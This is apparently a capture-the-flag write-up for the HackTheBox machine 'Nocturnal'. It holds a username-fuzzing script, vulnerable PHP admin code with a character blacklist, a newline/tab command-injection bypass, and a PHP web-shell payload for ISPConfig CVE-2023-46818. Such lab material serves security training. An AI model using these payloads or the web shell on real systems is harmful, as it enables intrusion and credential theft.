[HackTheBox] Nocturnal
[Machine Details]
Machine Name | Difficulty | OS | Release Date | Machine Author |
---|---|---|---|---|
Nocturnal | Easy | Linux | April 13 2025 | FisMatHack |
🧩 About Nocturnal
Nocturnal is an easy-difficulty Linux machine that showcases how multiple small misconfigurations can be chained together for a system compromise.
The machine walks you through the entire attack lifecycle, including:
- 🔍 Reconnaissance using Nmap and manual web inspection
- 🧪 Exploitation of weak file access controls and insecure coding practices
- 🐚 Command Injection through a flawed backup feature
- 📦 Sensitive Data Exposure via downloadable documents and leaked credentials
- 🔐 Lateral Movement by accessing internal services through local port forwarding
- 💥 Remote Code Execution (RCE) using a real-world vulnerability (CVE-2023-46818)
- 👑 Privilege Escalation to root by chaining poor password practices with exploitable software
The journey emphasizes the impact of password reuse, lack of proper access control, and blacklist-based filtering, all of which contribute to the machine’s downfall.
Nocturnal is a great machine for practicing:
- Web application analysis
- PHP vulnerability exploitation
- Post-exploitation enumeration
- Real-world CVE exploitation
[Reconnaissance]
💻 NMAP Scan
A targeted NMAP scan against the machine nocturnal.htb
revealed 2 ports:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 09:06 EDT
Nmap scan report for nocturnal.htb (10.129.146.212)
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Port 22 (SSH)
The SSH service is runningOpen SSH 8.2p1
, a common version found on Ubuntu systems. This could potentially be used for remote access if valid credentials or a private SSH key can be obtained. - Port 80 (HTTP)
A web service is running an Nginx web server. The HTTP title suggests a custom web application is in place. The HTTP response headers confirmed the server type, and a session cookie (PHPSESSID
) was observed.
🕵️ Manual Inspection

- Software Technologies
- The web application is running behind an nginx 1.18.0 web server on an Ubuntu operating system.
- It's built using PHP, and from initial observation, it appears to be a basic file management system.
- The application lacks common security headers and cookie protections, such as
HttpOnly
,Secure
, andSameSite
.
- Web Functionality
GET /
- The homepage provides general information about the web app. It mentions that users can upload, access, and backup their files.
- It displays a support email address:
support@nocturnal.htb
. - A session cookie named
PHPSESSID
is issued, indicating the site uses session-based authentication.
POST /register.php
- The registration endpoint allows users to sign up by providing just a username and password.
- There is no email verification, no password complexity requirements, and no protections like reCAPTCHA to prevent bots or spam registrations.
POST /login.php
- This endpoint handles user authentication. After submitting a valid username and password, the user is logged in.
- There are no account lockout mechanisms or other brute-force protections, leaving it open to password-guessing attacks.
- It might also be vulnerable to SQL injection.
GET /dashboard.php
- Once authenticated, users are redirected to the dashboard.
- This page offers 2 core features for users: uploading files and viewing previously uploaded ones. The interface is minimal but functional, focusing primarily on file management.
POST /dashboard.php
- The file upload feature restricts users to the following file types:
pdf
,doc
,docx
,xls
,xlsx
, andodt
. - Although it’s possible to bypass this file type check by modifying file extensions or mimicking allowed MIME types, doing so doesn’t lead to exploitation.
- Uploaded files are automatically downloaded when accessed, rather than being rendered or executed, reducing the impact of malicious file uploads.
- Attempts to traverse directories during upload are unsuccessful
- The file upload feature restricts users to the following file types:
GET /view.php?username={username}&file={sample.pdf}
- This endpoint handles file downloads based on the specified username and file name.
- Files cannot be viewed in-browser; instead, they are automatically downloaded.
- When trying to modify the
username
parameter to another user (e.g.,admin
), the system responds with a "File does not exist." error.
[Exploitation]
🎯 Objective
Based on our manual inspection, the main point of interest for exploitation is the GET /view.php
endpoint. Our goal here is to try and access or download files that belong to other users, which could lead to sensitive data exposure.
👣 Attack Vectors
Three potential avenues for exploitation were identified:
- SQL Injection in Login Page
One classic method of bypassing authentication is through SQL Injection. If the login form is vulnerable, injecting a payload like' OR 1=1––
into the username or password field might allow us to log in as any user without knowing valid credentials. Successfully exploiting this would give us access to another user's dashboard and potentially their uploaded files. - SQL Injection in
username
Parameter
The more interesting vector lies within theusername
parameter in theGET /view.php
endpoint. We suspect that the backend query might look something like:SELECT * FROM files WHERE username = '{username}' AND file = '{filename}';
If no input sanitization is in place, we could inject a payload such as:' OR 1=1––
This would change the SQL query to:SELECT * FROM files WHERE username = '' OR 1=1––' AND file = '{filename}';
Simplified, it becomes:SELECT * FROM files WHERE 1=1;
This would return all rows from the files table, potentially giving us access to every file uploaded by all users. That’s a major data exposure risk. - Fuzzing the
username
Parameter
Another approach is to perform username fuzzing. By using a wordlist of common usernames or names (e.g., admin, john, administrator, jane), we can automate requests to theGET /view.php
endpoint with different usernames. Even if we provide a non-existent filename, a valid username might still return metadata or error messages that confirm the user's existence—or even reveal files uploaded by that user.
If the backend doesn’t check whether the authenticated user is actually allowed to access the file they’re requesting, we may be able to enumerate files uploaded by other users, simply by guessing their usernames through fuzzing.
📖 Fuzzing over Injection
During our testing, we attempted SQL injection in 2 places:
- The login page, using typical payloads like
' OR 1=1--
, consistently returnedInvalid username or password.
- The
username
parameter in theview.php
endpoint always replied withUser not found.
for each injection attempt.
These responses indicated that SQL injection might be unsuccessful or well-handled in these areas.
Instead of injection, we shifted our focus to fuzzing the username
parameter in view.php
. The idea was simple: if we supply usernames, we may observe a different error response like File does not exist.
instead of User not found.
This would allow us to enumerate valid usernames on the system without needing direct access to the database.
So we wrote a simple Python script to perform the fuzzing:
import requests
from urllib.parse import urlencode
TARGET = "http://nocturnal.htb"
WORDLIST_URL = "https://raw.githubusercontent.com/huntergregal/wordlists/refs/heads/master/names.txt"
USERNAME = "motoh4ck3r"
PASSWORD = "br00mbr00m"
session = requests.Session()
def register():
data = {"username": USERNAME, "password": PASSWORD}
response = session.post(TARGET + "/register.php", data=data)
if "Failed to register user." in response.text:
print("[*] User already exists. Proceeding to login.")
elif response.status_code == 302:
print(f"[*] Registration successful for user '{USERNAME}' with password '{PASSWORD}'")
def login():
data = {"username": USERNAME, "password": PASSWORD}
response = session.post(TARGET + "/login.php", data=data)
if "PHPSESSID" in session.cookies:
print(f"[*] Logged in as {USERNAME}.")
else:
print("[!] Login failed. Exiting.")
exit(1)
def fuzzUsernames():
valid_usernames = []
print("[*] Fetching wordlist and fuzzing usernames...")
resp = requests.get(WORDLIST_URL)
names = resp.text.strip().split("\n")
for name in names:
username = name.strip().lower()
params = {"username": username, "file": "sample.pdf"}
url = TARGET + "/view.php?" + urlencode(params)
r = session.get(url)
if "File does not exist." in r.text:
print(f"[+] Valid username found: {username}")
valid_usernames.append(username)
elif "User not found." not in r.text:
print(f"[?] Unexpected response for {username}: {r.text[:100]}")
return valid_usernames
if __name__ == "__main__":
register()
login()
valid_users = fuzzUsernames()
print("\n[*] Valid usernames found:")
for user in valid_users:
print(user)
How it works?
- Register/Login – The script first registers a new user
motoh4ck3r
(or logs in if already registered) to gain access to the web app. - Fuzzing – It downloads a list of common names from an online wordlist and makes requests to
view.php?username={name}&file=sample.pdf
for each one. - Response Handling – It looks at the response:
- If it says
File does not exist.
, the username is valid! - If it says
User not found.
, the username does not exist. - Any other response is flagged for further inspection.
- If it says
Using this method, the script successfully discovered 2 valid usernames on the target web application: admin
and amanda
.

By the way, you could also use ffuf
or BurpSuite's Intruder
module to quickly identify the username, lol. I just like to practice Python coding from time to time.

📂 Unauthorized File Access
After identifying the valid usernames admin
and amanda
, our next step was to check if any files were accessible under the user amanda
since we already tested admin
earlier:

Surprisingly, this returned a downloadable file named privacy.odt
.
Once we downloaded the .odt
file, we extracted its contents and inspected the content.xml
file within it. Inside, we found something very interesting, a hardcoded password for the user amanda
.

The document also included a note from Nocturnal's IT team. It mentioned that they set temporary password for users, and these passwords are reused across all internal services.
This is a critical security issue. Using the same password across multiple services introduces a single point of failure if one service is compromised, all connected services become vulnerable.
👩💻 Logging In as amanda
With Amanda’s credentials recovered from the privacy.odt
file, our next step was to log into the web application using her account. Since she appears to be a staff of Nocturnal, we were curious to see if her access level exposed any additional features.

After successfully logging in as Amanda, we noticed something new, an Admin Panel became available in the interface. This immediately stood out as a potential area for privilege escalation or deeper access to the application’s internals.

Once inside the Admin Panel, we were given access to view the file structure of the web application. The panel offered 2 main actions:
- View Contents of PHP files
- This lets us read the source code of the server-side application.
- Perfect for identifying vulnerabilities like hardcoded credentials, SQL queries, file upload logic, or misconfigurations.
- Create a Password-protected Backup
- This feature allows the generation of a full backup of the web application.
- The backup can be protected with a password provided by the user.
⚔️ Exploiting Admin Panel
To better understand the Admin Panel's inner workings, we reviewed the source code of the admin.php
file. This file controls both the view and backup functionalities. We analyzed the backend and broke it down into 3 key sections, as seen in the code snippets below:
First section:
<?php
session_start();
if (!isset($_SESSION['user_id']) || ($_SESSION['username'] !== 'admin' && $_SESSION['username'] !== 'amanda')) {
header('Location: login.php');
exit();
}
function sanitizeFilePath($filePath) {
return basename($filePath); // Only gets the base name of the file
}
// List only PHP files in a directory
function listPhpFiles($dir) {
$files = array_diff(scandir($dir), ['.', '..']);
echo "<ul class='file-list'>";
foreach ($files as $file) {
$sanitizedFile = sanitizeFilePath($file);
if (is_dir($dir . '/' . $sanitizedFile)) {
// Recursively call to list files inside directories
echo "<li class='folder'>📁 <strong>" . htmlspecialchars($sanitizedFile) . "</strong>";
echo "<ul>";
listPhpFiles($dir . '/' . $sanitizedFile);
echo "</ul></li>";
} else if (pathinfo($sanitizedFile, PATHINFO_EXTENSION) === 'php') {
// Show only PHP files
echo "<li class='file'>📄 <a href='admin.php?view=" . urlencode($sanitizedFile) . "'>" . htmlspecialchars($sanitizedFile) . "</a></li>";
}
}
echo "</ul>";
}
// View the content of the PHP file if the 'view' option is passed
if (isset($_GET['view'])) {
$file = sanitizeFilePath($_GET['view']);
$filePath = __DIR__ . '/' . $file;
if (file_exists($filePath) && pathinfo($filePath, PATHINFO_EXTENSION) === 'php') {
$content = htmlspecialchars(file_get_contents($filePath));
} else {
$content = "File not found or invalid path.";
}
}
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
?>
Second section:
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
sleep(2);
$logContents = file_get_contents($logFile);
if (strpos($logContents, 'zip error') === false) {
echo "<div class='backup-success'>";
echo "<p>Backup created successfully.</p>";
echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
echo "</div>";
} else {
echo "<div class='error-message'>Error creating the backup.</div>";
}
unlink($logFile);
}
}
?>
Third section:
<?php if (isset($backupMessage)) { ?>
<div class="message"><?php echo $backupMessage; ?></div>
<?php } ?>
Code Breakdown
View Functionality
- Only users with the username
admin
oramanda
are allowed to access the Admin Panel. - The application scans the directory and lists only
.php
files. - Users can only view the content of
.php
files, helping limit exposure to sensitive non-code files
- Only users with the username
Backup Functionality
- Just like the view feature, only
admin
andamanda
can use the backup function. - The application takes a user-supplied password to protect the backup archive.
- The input password is passed through a sanitization function called
cleanEntry()
, which checks for a blacklist of characters:[';', '&', '|', '$', ' ', '`', '{', '}', '&&']
- After that, the input is used in a command below to create a zip file containing the copy of the web application:
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
- Just like the view feature, only
💉 Command Injection in Backup Function
Since the password input is directly passed into a shell command, a crafted payload that bypasses the blacklist can lead to Command Injection, allowing us to execute arbitrary system commands on the server.
The use of a blacklist-based sanitization for handling user input is a known weak point. While it blocks a handful of special characters, it doesn't cover all possible command injection techniques.
So to bypass the blacklist and inject commands, we used hex-encoded representations of certain ASCII characters that the cleanEntry()
function does not account for.
Specifically, we injected: New Line (%0a
) and Tab (%09
)
These characters allowed us to break the structure of the shell command and inject our own logic while avoiding detection by the blacklist.

[Initial Access]
🗝️ Credential Exfiltration
With our command injection exploit successfully working, the next goal was to explore the file system and hunt for anything valuable like configurations, logs, or backups.
During this process, we discovered a folder named nocturnal_database
. Inside, we found a database backup file, which immediately caught our attention.

Since we couldn’t download the file directly from the Admin Panel, we used a command injection payload to print the file’s content in base64 format. This made it easy to safely transfer the data back to our machine without breaking the output or running into binary formatting issues.

We copied the full base64 output, saved it locally, and then decoded it to restore the original database file.

After extracting and opening the database file, we found another set of credentials for a different user account.

The new credential could potentially give us access to new/other services, higher privileges, or even system-level access, depending on where they’re used.
👨💻 Logging In as tobias
After getting the credentials, I then proceed in cracking the hashes using CrackStation returning us the decoded password for tobias.

Using the decoded password, I was able to authenticate as tobias in the target machine.

[Privilege Escalation]
🕵️ Web Service Discovery
While operating under the user tobias, we continued our local recon and discovered additional services running on localhost. These were not exposed externally, so they required local access to investigate.

One of the interesting discoveries was port 8080, which revealed a web service running on the local machine.

To access this from our attacker machine, we established a local port forward using SSH:
ssh -L 8081:127.0.0.1:8080 tobias@nocturnal.htb
We then navigated to http://127.0.0.1:8081
on our machine and were greeted by the ISPConfig web interface.

ISPConfig is a popular open-source hosting control panel used to manage web servers, domains, mailboxes, and more.
After reviewing the page source and metadata, we identified that the installed version is: 3.2

A quick search on CVE Details revealed that ISPConfig 3.2 is vulnerable to Authenticated PHP Code Injection (CVE-2023-46818).

According to ISPConfig’s official advisory, this vulnerability allows an authenticated admin user to inject PHP code via the record
parameter in the POST /admin/language_edit.php
endpoint.
Earlier in our investigation, we discovered a reused password strategy mentioned in the privacy.odt
file. Taking advantage of this, we successfully authenticated as the admin
user, using Tobias's password.

⚔️ Exploiting ISPConfig
With valid admin credentials and confirmation that ISPConfig 3.2 is vulnerable to CVE-2023-46818, we proceeded to automate the exploitation by writing custom Python script.
My custom Python script is available at https://github.com/ajdumanhug/CVE-2023-46818. This script is based on the original proof of concept (PoC) written in PHP by Egidio Romano aka EgiX who reported this vulnerability: https://karmainsecurity.com/pocs/CVE-2023-46818.php
Below is a breakdown of how it works:
- To run the script, we need to provide the target URL and valid admin credentials:
python3 CVE-2023-46818.py <URL> <Username> <Password>
- The script starts by authenticating with the provided credentials via the standard ISPConfig login endpoint (
/login/
). If successful, it maintains a session for the next steps. - Before performing the injection, the script sends a request to the language editor page to extract the required CSRF tokens:
_csrf_id
and_csrf_key
. These are embedded in the HTML and are essential for a valid POST request. - Once the CSRF tokens are obtained, the script sends a crafted payload to the
records
parameter. The payload uses PHP to write a web shell (sh.php
) on the server via thefile_put_contents()
function. The injected PHP payload:<?php print('____'); passthru(base64_decode($_SERVER['HTTP_C'])); print('____'); ?>
This shell is triggered via theC
HTTP header, which allows us to send base64-encoded system commands. - After the web shell is written, the script opens a command-line interface, allowing us to interact with the server as if you're running commands locally.
We launched the Python script and got a fully functional interactive shell. But it's always better to have a root shell, so we executed a reverse shell.

Member discussion